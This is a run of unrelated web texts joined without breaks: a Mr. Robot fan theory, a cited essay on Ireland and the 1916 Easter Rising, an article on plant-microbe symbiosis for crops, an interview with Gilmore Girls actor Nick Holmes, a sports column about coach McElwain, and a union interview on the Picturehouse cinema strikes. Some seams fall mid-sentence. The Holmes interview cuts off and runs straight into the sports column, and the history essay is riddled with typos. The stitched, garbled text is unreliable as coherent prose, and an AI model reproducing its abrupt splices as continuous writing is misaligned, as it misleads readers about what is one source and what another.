Since Elliot is living such a routined life, completely off the grid with no access to any technology whatsoever. Eating at the same time everyday, with the same person. Mother telling when to go to bed, watching his friend Leon play basketball…. the theory is that Elliot is in prison and what we see is the illusion that Elliot is projecting in his head. We are seeing shit through his head as he imagines himself free and not imprisoned.
Now, I completely buy this theory. There’s evidence to support it. It makes sense and it’s the Mr. Robot way to fuck with your head in this manner. Also, Elliot is not the most reliable narrator so we can’t take anything he says or sees or thinks at face value. After last season, we need to look a little deeper than what is on the surface.
The prison theory would mean that Elliot was captured, or turned himself in somehow and is being charged with the 5/9 attack. This is highly unlikely in my opinion. I believe Elliot, knowing he is fucked up in the head after realized he’s been talking to his dead father this entire time checks himself into a psychiatric facility voluntarily. Giving weight to this theory is a scene at one of the basketball games when Mr. Robot tells Elliot, “how long are you going to keep us in here?” Meaning Elliot is the one in control of whether he leaves or not.
He is also seeing Krista again. This could be something he decided on his own and wanted to keep seeing her due to his recent breakdown and she visits him at the institution. We also see him going to church group, which could be a mandatory thing of the place he’s in. Leon could be his cellmate/room mate that he shares a room with and has befriended him to the point where they eat all their meals together. And it’s more likely for patients of a clinical institution to be able to watch television as oppose as prison inmates. He mentions to Krista after she asks why he is living with his mother, to which he answers, “she is the strictest person I know” and this is someone he could be correlating with a guard of nurse of some sort. And the scene when he meets with Gideon as they sit across from each other is interesting because it’s very straightforward, facing each other as if they were in a controlled and supervised room while Gideon visits Elliot. Another small moment, is when we see a shot of a fish in a fishbowl, it’s something random and subtle but extremely telling of this theory when you put it into context.
Also, we see Elliot watching Leon and others play basketball on several different occasions. This could be outdoor time in the institution; recreational time. Another interesting thing about these basketball scenes is when this guy Ray (Daryl from The Office) constantly approaches Elliot (by name) and attempts to talk to him and get him to open up and become friendly with him. This could easily be a counselor of some type in the institution who is trying to speak with Elliot and get him to open up about what he’s going through. And the fact that Elliot is constantly writing in his notebook, this is something I can see him doing while committed (which is the word, Rami Malek, uses to describe his character this season on the after talk show, Hacking Robot).
Now at the same time, all this could just be speculative bullshit and everything is as simple as what we’ve seen. But I just have a feeling there’s something more going on here, something more than what meets the eye. I’m so fucking psyched for this season as it appears every single episode will be written and directed by it’s creator Sam Esmail. I can’t fucking wait for next Wednesday.
Thanks for reading you fuckin Film Canners. Leave your thoughts in the comments and share your own theories!
and check out the Mr. Robot subreddit for more insight into this great show.
AdvertisementsIreland in World War I Germany felt that England would be too busy with Ireland to enter World War I (. George W. Russell. The Irish Home Rule Convention. New York, 1917, p. 32. ) “One of the immediate causes” of the war was Northern Ireland’s threat to oppose Home Rule by rebellion. The German Kaiser, as a result of the warlike attitude of the Ulsterites was convinced that England was unable to become involved in a European war. Germany was convinced that England would be too buys to enter a war or at best would be of slight hindrance to Germany. ( Tom Ireland. Ireland Past & Present. New York, 1942 ) Ulster’s open flaunting of the laws that prohibited no arms to be sent to Ireland, and the open drilling of the Ulster Volunteers threatening a civil war in Ireland, led Germany to believe that England was weak and would not interfere if she attacked France or Russia. Germany also believed that the large numbers of Irish in the British army would revolt over the disturbances at home. John Redmon appealed to the people of Ireland as a whole to remain loyal to England. He hoped that a untied front on the part of the Irish might result in a peaceful union following the war. This probably would have worked had the leaders of Ulster cooperated withy Redmon, for during the fighting in Europe, many northern and southern Irish became friendly. Unfortunately, the leaders of Ulster would not put aside their private interests for the common good or Ireland, and the generous acts of the Irish Nationalists were to no avail. Discrimination by the English War Office were extremely noticeable in that the Protestants were permitted to form their own Irish companies but the Catholics were not. John Redmon volunteered the services of the Irish Volunteers to England. Most of the members did fight for England, but a small minority followed strict Sinn Fein policy and refused to fight. This group was in favor of neutrality. They joined with the Labour Citizen Army and together formed an effective anti-British fighting force. Eamon DeValera was part of this group. ( Tom Ireland. Ireland Past & Present. New York, 1942, pp 325-326.) Sinn Fein The Gaelic League was founded in 1893 for the purpose of re-establishing the Irish language and culture. The political outgrowth of the League was culminated in 1905 with the founding of the Sinn Fein movement, (We Ourselves), by Arthur Griffith. This was an organization that supported withdrawing Irish members from the British Parliament and setting up and Irish Parliament along with abandoning constitutional methods of bringing about the repeal of the 1800 Act of Union. Arthur Griffith’s plan was to follow the Hungarian example of 1861. The plan called for a boycott of the British army and navy. No Irish members were to be sent to London and an extra legal Irish Parliament to be established in Dublin. A court system would be set up, English goods boycotted and a general program of non-cooperation with the English was to be instituted. During 1910-1913, the Sinn Fein movement seemed dormant and was without a dynamic leader. (Elie Halevy. The Rule of Democracy (1905-1914). New York, 1961. p. 538.) Other Irish organizations were growing. The Irish socialist leader, Larkin had obtained many new ideas from the Industrial Workers of the World in the United States. The Irish Republican Brotherhood was revived by James Connolly. According to the author of the Irish Home Rule Convention, the Sinn Feiners placed Home Rule and other various Irish problems above a victory for the allied powers. ( George W. Russell. The Irish Home Rule Convention. New York, 1917, p. 19.) A German ship disguised as SMS Libau bringing arms and ammunition with Sir Roger Casement as leader was intercepted by the British off the Irish coast on Good Friday evening 1916 (H.B.C. Pollard, Secret Societies of Ireland. p. 147). There was a plan for a general rebellion during the Easter season. ( Lawrence M. Larson. A History of England & the British Commonwealth, New York, 1932, p. 834 ) Casement was captured by the British and taken to London for trial. He was later hanged. Martial law was declared in Dublin City and county. The suspension of the right of a British subject to be tried by a civil court was seen as a sign of the seriousness of the situation. Some of the Irish Nationalists in America were said to have known of the intentions of the Easter rising a few weeks before it took place. Easter 1916 Rising The Gaelic American stated President Wilson knew of Casement’s intentions to land arms in Ireland and warned the British government. (New York Times, April 27, 1916, pp. 1 & 4.) The Irish Republican Brotherhood had decided at the early stages of the was that a rebellion must occur at some time during the war. Professor MacNeill, the nominal leader of the group had arranged for a p;arade to be held on Easter Sunday. He later found out the parade was to be the base of the rebellion and cancelled the event. By this time, the promised aid from Germany had fallen through. In spite of MacNeill’s order, a few Irish decided to go ahead with the rising. James Connolly and Patrick Pearse were the leaders of the 1,000 man force. On April 24, 1916, the Monday after Easter, the small group took over several buildings in Dublin. Despite the great odds against them, the Irish patriots held out for about a week. At this same time, Eamon DeValera had his big opportunity to come forth as one of the new leader of the Irish Nationalist movement. He was able to conduct his part of the uprising with great skill. Seven leaders of the rising proclaimed an Irish Republic. All seven of the signers were executed along with eight others. DeValera, the only battalion commander not killed, was saved because Redmon proclaimed him an American citizen. DeValera’s mother was an American, and he was born in New York City. His death sentence was communed to life imprisonment along with that of William T. Cosgrave. The British did not want to execute and American citizen and risk alienating the United States. ( Ireland, pp. 328-334 ) John Redmon condemned the uprising and stated that too mujch encouragement had come from the Irish-Americans. (New York Times, April 29, 1916, pp. 1-3.) The Easter 1916 rising provided a “blood sacrifice” for an Ireland that had becomeap;athetic. ( Edmund Curtis. A History of Ireland. New York, 1961. p. 406) The rising was not supported by public opinion in Ireland. Afterward, general incompetence on the part of the British government, and the arrests of thousands of men, some of who were taken to England, only served to arouse hatred for the English among the population. The men who were executed were regarded as martyrs. If the situation had been handled wisely by the British, the Irish radical cause and the Sinn Fein movement could have received a severe setback. A quote from page 28 of the Irish Home Rule Convention by George Russell, “A muddling nation trying to govern one of the cleverest nations in the World.” ( Russell, p.28.) As an aftermath of the rising about 50,000 British soldiers were stationed in Ireland which deprived England much needed men and equipment. Recruitment in Ireland practically stopped making a net loss to the firing line of 100,000 men. ( Russell, p.32.) Professor MacNeill, the nominal leader of the Irish Republican Brotherhood, had arranged for a parade to be held on Easter Sunday. He later found out the parade was to be the base of the rising and cancelled the event. The Easter Rising planned by the Irish Republican Brotherhood was virtually confined to Dublin. This was the opening act of the Irish War for Independence. Moreover, confusion was caused by a rash of conflicting orders sent out to the Irish Volunteers – the main strike force - from their headquarters and the decision taken by the rebel leaders to postpone their action arranged for Easter Sunday 23rd April, until the next day. A t about 11.00 am on Easter Monday, Patrick Pearse and the Volunteers, along with James Connolly and the Irish Citizen Army, assembled at various prearranged meeting points in Dublin, and before noon set out to occupy a number of imposing buildings in the inner city area. These had been selected to command the main routes into the capital, and also because of their strategic position in relation to the major military barracks. They included the General Post Office, the Four Courts, Jacob’s Factory, Boland’s Bakery, the South Dublin Union, St. Stephen’s Green and later the College of Surgeons. Photos There was little fighting on the first day since British intelligence had failed hopelessly, the properties targeted were taken virtually without resistance and immediately the rebels set about making them defensible. The GPO was the nerve center of the rebellion. It served as the rebels’ headquarters and the seat of the provisional government which they declared. Five of its members served there – Pearse, Clarke, Connolly, MacDermott and Plunkett. The British military onslaught, which the rebels had anticipated, did not at first materialize. When the Rising began the authorities had just 400 troops to confront roughly 1,000 insurgents. Their immediate priorities were therefore to amass reinforcements, gather information on volunteer strength and locations and protect strategic positions, including the seat of government, Dublin Castle, which had initially been virtually undefended. On Tuesday, a British force of 4,500 men with artillery attacked and secured the Castle. Photos "As the week progressed, the fighting in some areas did become intense, characterized by prolonged, fiercely contested hand to hand street battles. Military casualties were highest at Mount Street Bridge. There, newly arrived troops made successive, tactically inept, frontal attacks on determined and disciplined volunteers occupying several strongly fortified outposts. They lost 234 men, dead or wounded while just 5 rebels died. In some instances, lapses in military discipline occurred. Soldiers were alleged to have killed 15 unarmed men in North King Street near the Four Courts during intense gun battles there on 28th and 29th April. The pacifist Francis Sheehy-Skeffington was the best- known civilian victim of the insurrection. He was arrested in Dublin on 25th April, taken to Portobello Barracks and shot by firing squad next morning without trial. O verall the British authorities responded competently to the Rising. Reinforcements were speedily drafted into the capital and by Friday 28th April, the 1,600 rebels (more had joined during the week) were facing 18-20,000 soldiers. From Thursday the GPO was entirely cut off from other rebel garrisons. Next day it came under a ferocious artillery attack which also devastated much of central Dublin. Having learnt the lessons of Mount Street Bridge, the troops did not attempt a mass infantry attack. Their strategy was effective. It compelled the insurgent leaders, based at the Post Office, first to evacuate the building and later to accept the only terms on offer – unconditional surrender. Their decision was then made known to and accepted sometimes reluctantly, by all the rebel garrisons still fighting both in the capital and in the provinces." http://www.bbc.co.uk/ In total, the Rising cost 450 persons killed, 2,614 injured, and 9 missing, almost all in Dublin. The only significant action elsewhere was at Ashbourne, 10 miles north of Dublin. Military casualties were 116 dead, 368 wounded and 9 missing, and the Irish and Dublin police forces had 16 killed and 29 wounded. A total of 254 civilians died; the high figures were largely because much of the fighting had occurred in or near densely populated areas. It is widely accepted that 64 rebels lost their lives. Their casualties were low because in the capital they were the defending force. Moreover, they fought with discipline and skill until, acting under instruction from their leaders, they surrendered their strongholds rather than fight to the last volunteer. The few other insurgents in Co. Meath, Galway and Wexford joined in the surrender. Sir John Maxwell, the British Commander-in-Chief caused sixteen of the Irish to be court-martialed and shot. The execution of these men was an attempt to murder of the Provisional Government of Ireland. Patrick Pearse was the first to be singled out for execution, he was not allowed to see his mother or brother before he was executed on May 3, 1916. One of Pearse's most famous speeches was his eulogy at the funeral of O'Donnovan Rossa who died in 1915.
"They think they have forseen everything, but the fools! the fools! the fools! they have left us our Fenian dead; and while Ireland holds these graves " Ireland unfree shall never be at peace." Pearse's Oration Below are the six organizations involved in the Easter Rising of 1916: T he National Volunteers, The Citizens’ Army, The Hibernian Rifles, Fianna Éireann, Cumann na mBan and
The Foresters Following the formation of the Provisional Government, as outlined in the Proclamation, these organizations formally became known as Óglaigh na Éireann, otherwise known as the Irish Republican Army, under the command of James Connolly. Benian, E. A., Cambridge History of the British Empire, London, 1959 Carrington, C. E., The British Overseas, Cambridge, 1950 Curtis, Edmund, A History of Ireland, New York: Barnes & Noble, 1961 Ireland, Tom. Ireland Past and Present. New York: G. P. Putnam’s Sons, 1942. Larson, Lawrence, A History of England & the British Commonwealth, New York, 1932 MacDonagh, Oliver, Ireland, New Jersey, Prentice Hall, 1968 MacManus, Seumas, Story of the Irish Race, New York, Devin-Adair, 1973 Russell, George, The Irish Home Rule Convention, New York, 1917 addtiional sources: http://www.bbc.co.ukTo feed an exploding global population, scientists have called for a doubling of food production over the next 40 years. Genetic manipulation might seem the best way to quickly boost characteristics essential to plant growth and crop yields. New findings from different laboratories, however, suggest that fungi, bacteria and viruses could be an exciting alternative to increase agricultural productivity.
Scientists have long known that microbes can work symbiotically with plants. For instance, mycorrhizal fungi, which are associated with 90 percent of land plants, extend from roots to bring in moisture and minerals in exchange for plant carbohydrates. But microbes have recently been found among plant cells themselves and seem to confer benefits, such as more efficient photosynthesis and increased ability to fix nitrogen from the air. In fact, Mary E. Lucero, a biologist at the U.S. Department of Agriculture’s Jornada Experimental Range in Las Cruces, N.M., believes that plants actively recruit these microbes rather than simply being passive hosts for them.
In the lab, Lucero has given this recruitment a hand by transferring fungi from four-wing saltbush to grama grass, which is important for grazing cattle. The fungi-infused grass grew larger and produced more seed, probably by improving nutrient uptake and water usage, she speculates. Lucero also points out that harnessing microbial help for capturing nitrogen could reduce the need for chemical fertilizers. “It is far easier, more efficient and less expensive to inoculate a plant with a beneficial fungi than to come up with a genetically modified species,” she remarks.
Rusty Rodriguez, a microbiologist with the U.S. Geological Survey’s Biological Resources Division in Seattle, is trying to tackle another agricultural demon: excessive heat. In experiments to improve the ability of tomato plants to resist high temperatures, he inoculated them with fungi taken from plants near hot springs in Yellowstone National Park. The result: tomatoes that can grow at 148 degrees Fahrenheit. “That’s about the internal temperature of a medium cooked prime rib,” Rodriguez notes.
Furthermore, by isolating a virus in the fungus, he discovered a three-way symbiosis that was required for thermal tolerance. “Without the virus the plants could handle only about 100 degrees F,” Rodriguez says. The fungus and virus also conveyed heat tolerance to rice and wheat, a process that could not only boost yields but also help crops fend off the effects of climate change.
Analyzing plants from beaches, deserts and polluted areas, Rodriguez has also isolated microbes that help plants resist salt, drought and heavy metals. Curiously, the same fungi taken from plants living in unstressed areas did not confer tolerance. “It has to be the right microbe from the right habitat,” Rodriguez says. Choosing microbes from heat-stressed areas could boost rice production, which drops 10 percent for every 1.8 degrees F of warming. Once acquired, however, stress-tolerant microbes can be passed in seed coatings to the plant’s progeny.
Christopher L. Schardl, a plant pathologist at the University of Kentucky who studies certain species of tall fescue grass, observes that the mutualism between microbes and plants has agricultural drawbacks, too. Many microbes in plants produce biologically active alkaloids, which repel insects, birds and herbivores. In fact, in the early 1950s grazing livestock picked up a disease related to alkaloids in grass known as fescue toxicosis. It can induce tremor and stupor, as well as an aversion to further grazing. “It costs the livestock industry about $1 billion a year,” says Schardl, adding that producers raising grass-fed cattle are now sowing cultivars with nontoxic fungi.
Identifying plant microbes is not easy, because microbial cells are embedded in plant tissue. Lucero uses scanning electron microscopy and new pyrosequencing techniques to identify the DNA of microbes in plant tissue.
The intensive effort, Rodriguez believes, will pay off by helping farmers meet future food demands. Modifying traits genetically is expensive, does not always work and generates a fair amount of consumer backlash. Improving crop production with the plant’s own microorganisms might be more successful on a host of fronts. Says Rodriguez: “We’re trying to duplicate the way it works in nature—using not genes but entire genomes from the plant’s own microbial community.”The Life & Death Brigade (LDB) has its own life within Gilmore Girls; through a few short scenes in the series, the ‘In Omnia Paratus’ (‘Ready for Anything’) motto of the secret society has inspired fans the world over. We are introduced to this secret society through the lens of Rory Gilmore (Alexis Bledel), whose investigations make her privy to one of their underground celebrations, the famous scenes of which we saw in ‘You Jump, I Jump, Jack.’ Behind the veil of secrecy, we are introduced to its main instigators: Logan (Matt Czuchry), Finn (Tanc Sade), Colin (Alan Loayza) and Robert (Nick Holmes).
Photo credit: The WB / Tanc Sade
The Life & Death Brigade is a place where “everything was just so fantastical and so fun,” Nick Holmes notes in speaking with me this week, and the return of the Life & Death Brigade to Gilmore Girls: A Year in the Life will take us somewhere “so beautiful and so extraordinary and so whimsical.” Nick Holmes plays the character of Robert Grimaldi, one of the more underrated members of the Life & Death Brigade, known mostly for his paintball skills and his brief date with Rory Gilmore at Finn’s Quentin Tarantino-themed party. In this interview, you can expect to learn more about Nick, the Life & Death Brigade and perhaps why we should have been #TeamRobert all along.
So, who is Robert, really?
“Robert was introduced in the scene with the “No E’s” in the ‘You Jump, I Jump, Jack’ episode,” notes Nick, describing Robert as the one with “a little bit more of a ‘priggish’ edge than other LDB members.”
Nick continues, “I had no idea that it was going to be a recurring role. I had been auditioning for Gilmore Girls since the pilot! I’m a fan of the show, I was always trying to get on it! Thanks to the paintball bit, I finally got myself on there.”
It wasn’t until Season 5’s ‘You Jump, I Jump, Jack’ that Nick landed his role on Gilmore Girls:
“I tried out for Dean and I tried out for Jess and for Tristan, and a couple of others. The casting office, Mara Casey and Jami Rudofsky, were really really excellent about bringing people back in who they really liked. They brought me back in [to audition for Robert] and I was very familiar with the show. I was very familiar with that cadence and the audition went great. And they said ‘Can you shoot a paintball gun?,’ which is a thing I used to do a lot – I used to compete a lot – and, because of that stunt [in ‘You Jump, I Jump, Jack’], is what really kicked it over the edge.”
Photo credit: The WB
The stunt in question required that Robert accurately shoot the paintball gun at someone jumping through the air, kind of like skeet shooting, but with people. Nick shares that the unedited scene was even more elaborate, a long tracking shot, with a costume change in the middle, and required Nick (as Robert) to shoot three men in the air, correctly each time! “It was the end of the day and we were losing light,” elaborates Nick. “We didn’t have but a couple of opportunities. It was very high pressure and high anxiety. But it all worked. And that’s the kind of thing that the whole team comes together and everything happens! I’m all aglow with this memory!”
And so we were introduced the the fantastical world of the Life & Death Brigade, an over-the-top secret society so totally apart from the rest of Gilmore Girls and from the world in general. That first episode, all on its own, made many of us LDBers for life.
“It’s been astonishing to me, frankly, how much the fan base responded to the Life & Death Brigade as an ‘entity,’ as this fantastical ideal of youthful freedom,” shares Nick. “You see people get ‘In Omnia Paratus’ tattoos! I think it’s extraordinary. I think it’s so cool.” The fandom, indeed, spans art, jewelry, merchandise and more.
“It doesn’t even constitute a large bulk of episodes, over the course of the series. I think it’s because they did such a good job, starting with ‘You Jump, I Jump, Jack,’ with giving it such a rich environment: like when Rory first comes out of that tent and she’s walking through the ‘Out of Africa’ set… they built that set up in this isolated part of Griffith Park and it was like 80 yards long! And, for it being my first day of work, it was just so extraordinary! The clothes that they had everyone in! Everything was just so fantastical and so fun. And just for the sake of wonderful, delightful, hedonism! ‘We can do this because we can, and why not?’ I think that ideal is what people respond to, because it’s just so ‘Carpe Diem.’”
Although loosely based on a real society at Yale, the Life & Death Brigade presented an over-the-top version of what a secret society could be. Just as Gilmore Girls amplifies everything, from the ideal small-town life to the family dynamics in the Gilmore family, so too did the Life & Death Brigade amplify this group of students living this “Carpe Diem” lifestyle, as Nick puts it. Like Rory, who was more the “mascot, like Shirley MacLain of the Rat Pack,” we were the voyeurs taking in the exaggerated world of the Life & Death Brigade.
I always suspected that we kept seeing more Life & Death Brigade scenes because they were a fun outlet for Amy Sherman-Palladino and Dan Palladino; a favourite of theirs to write about. When I asked Nick about my theory, he responded:
“Absolutely. And both have said as much to me, on different occasions,” Nick shares. “Dan, I remember, wrote ’Say Something,’ and he was just so excited on set that day, because it was just the men sitting around, playing poker and smoking cigars, and it’s just… very different from the rest of the show! And for them to be able to channel that beautiful rhythm that they have into this very delicious ‘fun just for the sake of fun’ kind of thing, it was never too weighty, and it was this wonderful backdrop for Logan and Rory’s relationship to develop, this wonderful flavour of fun and romance, and I know that they both [Amy & Dan] enjoyed that very much.”
Nick shares that being a part of Gilmore Girls introduced him to some lifelong friends, with his first night on set being one of his favourite memories:
“One of the first nights that we were on set, shooting ‘You Jump, I Jump, Jack,’ and we were all getting to know each other still, certainly for me, being my first episode,” shares Nick. “I think Tanc had a guitar with him, and so did Matt, and we all sat around singing, making up songs, because there was a long set up that was taking place and it was the middle of the night and everyone was trying to stay awake. It was a very artsy kind of camaraderie. That’s a thing that I will never forget.”
The off-screen relationships between the actors of the Life & Death Brigade, and indeed most of the Gilmore Girls actors, has left a lasting impression on many Gilmore Girls fans; Gilmore Girls created a family, both on set and among us fans. For Nick, those relationships were a “terrific surprise,” but it didn’t start out all rosy! “When I first met Tanc, I just couldn’t stand him!,” jokes Nick. “God, so irritating! I’d been trying to get on the show for years and he was in town 6 weeks and he got on the show!”
Thankfully, that initial snap judgement didn’t last long. “He and I are such close friends now; we see each other whenever we can, we take part in each others’ projects, and Alan as well. We had, on many nights, we would all get together and I would make carnitas in my home, and the boys would come over, and Alexis [Bledel], and it was so great that we could all be together and have the same kind of fun together, that had nothing to do with the show,” Nick shares. “We were all together as friends, it wasn’t about the show, especially for Alexis! That was her whole life for a long time. When we would get together as friends, we didn’t talk about the show. We talked a lot about everything else!”
“That’s, I think, the greatest gift that I got out of being a part of the Gilmore world, was that it completely changed my community of friends, which I hadn’t established fully in Los Angeles until then! I’m close to, and in contact, with many people from the show.”
Back to the show, one of the most significant scenes for Robert was when he asked Rory to be his date for the Quentin Tarantino party in the episode ‘Pulp Friction.’ Rory, reeling after seeing Logan with another girl and on the fence about being ‘casual’ with him, agrees. We’ll never know if Robert was simply one-upping Logan, or if he truly liked Rory. The ‘relationship’ is over within one episode, but could it have been more? Nick says, it almost was:
“It was something that was talked about with me later,” explains Nick of the Rory and Robert fling. “They had developed a bit of a story, it may or may not have been true (it might have been just to flatter me), but they had built a longer arc with Rory. I think the reason they didn |
the greatest stadiums on national television. That’s going to hurt.”
McElwain sounded like the rich dad who took his son’s dessert away after he beat up a classmate in school. If the rumors of credit card fraud are true — we don’t know because McElwain never directly answered that question — that’s a more serious issue than missing one of 12 regular season games. Players have been kicked off teams for much less than claiming student financial aid debit cards were stolen.
Missing one game doesn’t change behavior. Does McElwain actually think that Callaway’s one-game suspension is going to turn his life around? That’s rich.
Speaking of Callaway, McElwain didn’t seem overly concerned that his star receiver was in trouble yet again after his offseason arrest. Instead, he focused on making it seem like he was just one of seven guys that made a mistake in judgment.
“Yeah, it’s not just Antonio. It hurts,” McElwain said. “It’s my responsibility, and as I’ve said before, the thing you really get out of coaching and the things that really mean so much, are the phone calls you get 5, 10, 20 years down the road from guys who made mistakes.
“It’s a learning experience. I think it’s good for all your guys to know there’s a consistency.
“I’ll never turn my back on anybody. That’s not what it’s all about.”
Consistency with McElwain is telling the media how much Callaway has changed, getting a phone call that he’s in trouble again and then slapping him on the wrist. Sure, McElwain doesn’t want to “turn his back on anybody.”
You know, as long as “anybody” is the star of his offense.
It’s a serious question at this point. If McElwain still won’t turn his back on Callaway, what does he need to do to get kicked off the team? It certainly looks like he’ll push those limits as long as he can. And why wouldn’t he? McElwain can change the narrative for Callaway as many times as he needs as long as he’s making plays.
It’s not “a learning experience” anymore with Callaway. What has he learned at this point? That if you’re a good football player, you can have three separate major incidences in two years and your coach will suspend you one game?
Instead, we learned that McElwain didn’t become a disciplinarian overnight. He’s still the guy who can’t take a joke about being the subject of a viral naked shark photo, but he doesn’t mind busting chops before he talks about seven of his players getting suspended.
Near the end of his availability, a reporter Captain Kangaroo’d his way back to the subject of Callaway. He read McElwain’s direct quote back to him about Callaway’s marijuana arrest in May about “hitting bumps in the road and learning from those bumps.” The reporter asked if McElwain had seen strides from Callaway before his latest incident.
McElwain circled for an answer, and wound up with this quote.
“Something we apply to the playing piece, but it really applies to life sometimes is, ‘Your actions speak so loudly, I can’t hear what you say.’”
Likewise.Kiv Legate, newly elected branch secretary of the Ritzy cinema workers’ branch of BECTU (part of Prospect), and Ritzy workplace rep Kelly Rogers spoke to The Clarion about Picturehouse workers’ ongoing battle.
For a much shorter version of the interview, see the last page of the PDF of Clarion issue 4 here.
What’s the story of the dispute so far?
Kiv: Ritzy workers began campaigning around a living wage began in 2007. In 2014 we had thirteen high profile strikes and won a 26pc pay rise. The company backtracked on an agreement to meet again in June 2016 to negotiate again towards the Living Wage, and is refusing to negotiate our claim for the Living Wage, sick pay for all staff, maternity pay for everyone, and fair pay rises for various job roles. So we went back on strike in September 2016. Since then Hackney Picturehouse, Central Picturehouse and Crouch End Picturehouse have all joined the dispute, fighting for the same things plus union recognition for the BECTU section of Prospect.
Kelly: There’s been 22 strike days since September [and all four cinemas struck together for the first time on 11 February, two days later]. In addition to strikes, we’re going to speak at Labour Party meetings, at Momentum meetings, and cooperating with the Bakers’ Union about organising fast food workers, and more generally supporting workers in other industries.
Kiv: We’ve got an early day motion coming up in Parliament from Helen Hayes who’s the MP for Dulwich and West Norwood. Sadiq Khan has given us a letter of support, urging Picturehouse to listen to our demands. We’re holding a demo in Leicester Square on February 25, assembling outside Empire Cinema, because Cineworld, which owns Picturehouses, has just bought that chain for £92 million.
What are the political issues involved?
Kiv: The Living Wage as the law is a longer term goal, if you take into account rent and travel and so on that’s the minimum that’s needed.
Kelly: It ties into various things Jeremy Corbyn has raised, like bumping up the minimum wage significantly. We would argue the minimum wage should be at least the Living Wage – Labour has said £10 an hour. There’s things like repealing the anti-union laws, supporting people on zero hours contracts, rolling back casualisation and contracting out. These are things we’re campaigning around. Then there’s big political events, like Brexit. We recently went to a United Voices of the World [small, radical trade union] meeting, and we met the LSE cleaners who are taking strike action at the moment, and some workers campaigning at Harrods. They are in the vast majority migrant workers, but at Picturehouse too we have a large number of migrant workers in our workforce. The issue hasn’t come up so much previously but the day after the Brexit vote we got an email to every member of staff from the Picturehouse managing director saying, we promise to try hard to make sure no one is deported, which hammered home what Brexit could mean for us and at all these other workplaces. That’s going to become a bigger issue for trade unionists, and primarily in low paid, precarious workplaces.
Kiv: On the anti-union laws, the issue has come up in our dispute. We’ve been contacted numerous times by the Picturehouse lawyers alleging intimidating behaviour and unlawful picketing, too many people on the picket line, and things like that. The laws surrounding strikes and pickets are very vague, with lots of space for interpretation, and the company is trying to use that.
Kelly: We’re being asked to discipline our own members, and essentially not doing anything that would benefit us or make the strike too effective… The anti-union laws have affected our strike at every stage, right from having to post our ballots, which sounds simple, but it’s actually difficult particularly when people’s ballots don’t turn up because of problems with the post. Every single ballot we’ve had we’ve lost a certain number of votes because of that problem. Also the fact that we have to tell the employer who is being balloted, which I don’t think they have any right to know, they can find out when the strike happens. And we have to give a week’s notice. If we repeal these laws then that immediately makes strike action much more effective. We need to put repealing these laws on the political agenda.
Kiv: Yes, things are bad now and with the Trade Union Act it’s going to get worse. The risk is we’ll have further and further attacks on workers’ rights – we need to push back and improve our rights.
The Living Wage is still at a very low level. It shows you how confident employers are that they resist even that.
Kiv: Yes, if we win we’ll still only get £9.75, in London.
Kelly: The CEO of Cineworld, Mooky Greidinger, is on £1.2 million, which we just worked out is –
Kiv: £575 an hour! It puts it into perspective.
Kelly: Over the last five or so years the Living Wage has become a popular concept, it’s been used by more trade unions and campaigns, but the concept itself is subject to struggle. For instance, the Living Wage Foundation defines it as a lower level than the TUC does – our demand is based on the Living Wage Foundation demand, which again shows what a basic demand this is. There is every possibility the so-called Living Wage level will stagnate. But the concept of a living wage is an important one as long as we try to establish it as the minimum.
Kiv: We do come across the argument, well, you get paid more than lots of other people in different jobs, but the thing is, all those people demand higher wages. We have an opportunity and platform because we’re unionised to stand up and fight for the Living Wage, if everyone got unionised and campaigned then we’d have a stronger movement.
How do you think things will unfold?
Kelly: Now, at the Ritzy and then Hackney we’re quite used to going on strike, but now with the strikes coming up people are having to learn things from the start again, and we’re working on making people feel confident and comfortable. Each time we spread the struggle there’s more work to do…
Kiv: But there are also more people involved to do it. It’s a good problem to have.
Kelly: In addition to hopefully winning some of our key demands, if we succeed in unionising other sites, that’d be fantastic. The Staff Forum, which is the company-run sham union that you are automatically part of and actually have to opt out of, only has 400 members out of about 1,000 in the company, and we have over 150, so we’re on the way. The company set up the Staff Forum in 2007 during the first Ritzy strike basically to prevent other sites from unionising, because they knew if there’s already a recognised union we wouldn’t be able to apply for statutory recognition, which is why the Ritzy is the only site where BECTU is recognised. Union recognition is a key demand: you can win something brilliant, but if you don’t have collective bargaining, you see how quickly they can erode it.
At the Ritzy there’s been a strong union branch for more than ten years now, with some ups and downs, but people are much more confident and likely to challenge management. You can see it in loads of different ways, for instance people are more likely to call out sexism, because they have that sense of being collective and responsible for one another, we’ve been on strike, and so of course we stick together through these other things.
Kiv: And there’s a sense of being able to do something about it, when you’re in a union there’s a process you can go through to act to change things and get stuff done.
At the other Picturehouses, you’ve got some links and relatively similar workforces, but what do you think it would take to step from that into the wider Cineworld chain?
Kiv: Lots of hour of footwork, visiting sites, speaking to staff, with no guarantees.
Kelly: It’s a lot of work and it’s difficult, there are 270 Cineworld cinemas with a much bigger workforce as against 21 Picturehouses, but we should probably give it a go in the middle of a struggle, because then people are more likely to pay attention. That was our experience with other Picturehouses, people were interested but once the strikes started, immediately the interest peaked. It’s something we should be trying to do. We basically need to work out a way to get supporters, for instance maybe Momentum groups, to help us do that.
How does this struggle fit into your wider politics?
Kiv: I’ve only got engaged in the whole union side of life in the last year, it’s been a rapid rise for me, but now I can see plainly that unionisation is one of the most important things in a worker’s life; it’s absolutely integral that whenever you join a workforce you’re part of a union because it can give you so much power. Also my absolute belief in the Living Wage and that that should be the law, as we said it’s still the bare minimum, but it’s a basic we should win.
Kelly: I’m a socialist and have been for a number of years now and I knew that once I left university I was going to join a union as soon as I got a job. This isn’t the first time I’ve been a member of BECTU: when I worked in a theatre previously, we campaigned around the Living Wage and got some concessions. It’s something everyone should be doing. How does it feed into wider politics? I believe the primary means by which we’re exploited is through work, and I think organising around it is central to the possibility of winning a good life, from a feminist perspective as well as a socialist perspective. We were thinking how great it would be to strike on International Women’s Day, because the demands we’re calling for would primarily benefit women, who are disproportionately in low paid work, and lose out when wages are low and maternity pay is crap, and that would really bring together the different parts of these politics, which are part of the socialist whole.
And how do other workers in Picturehouses that are organising generally see politics?
Kiv: Of course it varies a lot, some are politically engaged and some aren’t, but for sure the strikes is great for getting people engaged who weren’t before. When something affects people directly it’s much easier to interest them.
